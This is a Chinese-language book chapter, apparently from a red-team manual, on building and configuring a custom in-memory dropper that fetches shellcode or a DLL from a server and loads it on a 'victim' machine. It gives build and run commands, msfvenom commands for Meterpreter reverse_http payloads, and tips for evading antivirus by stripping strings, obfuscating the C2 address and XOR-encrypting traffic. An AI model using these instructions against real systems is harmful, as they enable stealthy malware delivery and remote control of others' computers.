本书定制的挂钩病毒(Dropper)

Dropper(挂钩病毒)是红队工具包的重要组成部分,允许你在不把程序放在受害者计算机磁盘上的情况下运行你植入的程序。不将你的植入程序保存在磁盘上会降低它们被发现的风险,从而可以供你多次使用开展工作。在本章中,我们将介绍本书定制开发的一个 dropper,它可以导入 shellcode 或仅驻留在内存中的 DLL 。

在设计 dropper 和相应的服务器时,你需要记住一些事项。dropper 的目的是成为你的武器库中的一件用完就销毁的武器,这意味着你必须假设以当前形式使用它将触发进一步活动中的检测。

为了使后续的入侵活动更容易,你需要开发一个可以重复使用的标准服务器。在该示例中,你将看到一个基本的网络实现,它允许为不同的消息注册新的处理程序(handler)。虽然此示例仅包含 LOAD_BLOB 消息类型的处理程序,但你可以轻松添加新处理程序以扩展功能。这样就可以搭建良好的底层架构,因为你的所有通信都已标准化。

编写 dropper 或其他任何你希望快速找到并进行对其逆向的东西的时候,有个很重要步骤就是要清理你的文本字符串。当你第一次构建软件时,或许你运气好、调试消息显示成功,这使你无需手动单步执行调试器以查看为什么会出现问题。但是,如果特定的文本字符串在最终版本中被意外地遗留下来,将使病毒分析师很容易就可以逆向你的恶意软件。很多时候,反病毒会针对一个独一无二的特定字符串或一个常量值签名。在示例中,我使用 InfoLog()ErrorLog(),它们的预处理器将在发布版本上编译。使用那些宏,通过检查是否定义了_DEBUG,将指示是否包含相关调用。

本书定制 Dropper 代码:https://github.com/cheetz/thpDropper.git

Shellcode 与 DLL

在以下示例中,你可以让 dropper 加载完整的 DLL 或 shellcode。通常对于很多公共植入文件,你可以生成一个完整的 DLL,它将下载 DLL 然后反射 DLL。让你的 dropper 直接加载 DLL 将使你无需再进行更多的 API 调用,从而保持更好的隐蔽性。由于 header 被修改,某些植入文件可能无法正确加载。如果你的一个植入文件不能正常工作并且包含一种生成 shellcode 的方法,那么这应该可以解决你的问题。这是因为它们的自定义加载器通常用于修复 header 并从 DLL 加载它。

在网上也可以找到很多可以用的 shellcode,像 shell-storm.org 这样的网站会保存为特定目的而编写的 shellcode 存档,其中一些可能会为你的入侵活动派上用场。

运行服务器

构建服务器很简单。 在本书自定义的 Kali 镜像上,你需要运行以下命令:

对于首次编译:

对于后续编译,你需要做的就是:

  • cd /opt/thpd/build
  • make

要运行服务器,在编译它之后,你需要输入:

  • ./thpd [path to shellcode/DLL] [loadtype]

以下值当前对加载类型有效:

0 Shellcode 这会将原始的汇编 shellcode 字节发送到客户端
1 DLL 这会发送一个普通的的 DLL 文件,以反射方式加载到客户端中

虽然这些 payload(shellcode / DLL)可能是来自任何类型的 C2 工具(Metasploit/Meterpreter,Cobalt Strike 等),但是我们在示例中仅仅使用一个 Meterpreter payload。

生成一个 payload :

  • 对于 Shellcode payload :

    • msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST= LPORT=\ EnableStageEncoding=True -f c
    • 注意,你必须使用 msfvenom 的输出,并且仅仅使用原始的汇编 shellcode(删除引号、新行和任何非 shellcode 的内容)。
    • 启动服务器:./thpd ./shellcode.txt 0
  • 对于 DLL payload :

    • msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST= LPORT=\ EnableStageEncoding=True -f dll > msf.dll
    • 启动服务器: ./thpd ./msf.dll 1

客户端

客户端以与服务器类似的方式运行,其中它为每种消息类型注册了一个处理程序(handler)。在启动时,它将尝试回调服务器,如果无法连接或一旦断开连接则重试 n 次,并发送消息要求加载 blob 对象。服务器将使用 BLOB_PACKET 进行响应,客户端将通过 head—> msg 字段识别并分派该 BLOB_PACKET。所有数据包必须在开始时定义 HEAD_PACKET 字段,否则网络处理程序将无法识别它,并将其丢弃。 使用 BuildPacketAndSend() 函数将正确设置头数据包,允许另一方解码它。

要构建客户端,你需要使用 Visual StudioGit 。 首先将 Git 仓库( https://github.com/cheetz/thpDropper.git )克隆到一个文件夹中,然后在 Visual Studio 中打开 thpDropper.sln。确保为代码设置了正确的体系结构,如果你不需要任何调试信息,请将编译模式设置为build for release。完成此操作后,按 F7 键(编译快捷键),Visual Studio 会为你生成可执行文件。

配置客户端和服务器

globals.cpp 文件中可以查看大多数客户端的配置,你想要更改的三个主要配置设置是主机名、端口和数据包时间间隔。每个设置旁都有详细的注释,告诉你它们是什么。虽然你不需要更改数据包签名,但我还是得说一下:更改数据包签名将修改发送的每个数据包的前 2 个字节,用于标识它是服务器上的有效连接。如果你希望对 IP 和端口进行模糊处理,则可以编写代码以在访问它们时对其进行解密,并仅将加密版本存储在二进制文件中。

在服务器端,在 main.cpp 文件中,你可以修改服务器正在监听的端口。此配置在 main 函数中作为 StartupNetworking() 的唯一参数。如果你决定更改客户端中的数据包签名,则需要修改服务器以反映该数据包。这意味着在 include/lib/networking.h 文件中,PACKET_SIGNATURE 值要与客户端中的全局变量相匹配。

添加新的处理程序

设置网络代码库可以允许你轻松地添加新功能。为此,你需要使用客户端上的 void name() 原型或服务器上的 void name(int conn) 原型来创建一个回调函数。这些将被注册到你的消息类型的处理程序数组,并且在验证头数据包时调用它们。在这些函数中,你必须从 recv 缓冲区中读取包和相关数据。你需要调用 recv() 来指向数据包结构上的指针,以及该数据包的大小。这将提供关于需要从 recv 缓冲区中拉取多少数据的信息。在这个例子中,你将看到我们在处理程序中读取 BLOB_PACKET ,然后使用存储在 packet.payloadLen 中的值来指示我们需要进一步读取的字节数。相同的原理可以应用于其他的数据类型。如果要将包含文件路径的字符串发送到受害者计算机上的某个文件,你需要在处理程序的数据包中设置一个字段,用于描述字符串的长度,你将在发送完数据包之后发送该字符串。

进一步练习

虽然此代码库已经可以为你的工作提供一个可靠的基础,但你仍然可以通过多种方式自行改进。比较直接的思路是在传输层上加一个简单的加密层。你可能希望创建自己的 sendrecv 包装器,用于在调用 sendrecv 函数之前进行解密/加密。一种非常简单的实现方法是使用多字节异或密钥,虽然不是很安全,但至少会充分的改变你的消息,使之不易识别。另一个可能的思路是扩展 LoadBlobHandler() 函数,使之具有新的 LOAD_TYPE。使用这种新 LOAD_TYPE 的话,如果客户端以管理员身份运行,就会加载已签名的驱动程序。这可以通过使用 CreateService()StartService() 这两个 Windows API 调用来完成。但是需要记住加载驱动程序需要它在磁盘上,这将触发文件系统的微型过滤器驱动程序来获取它。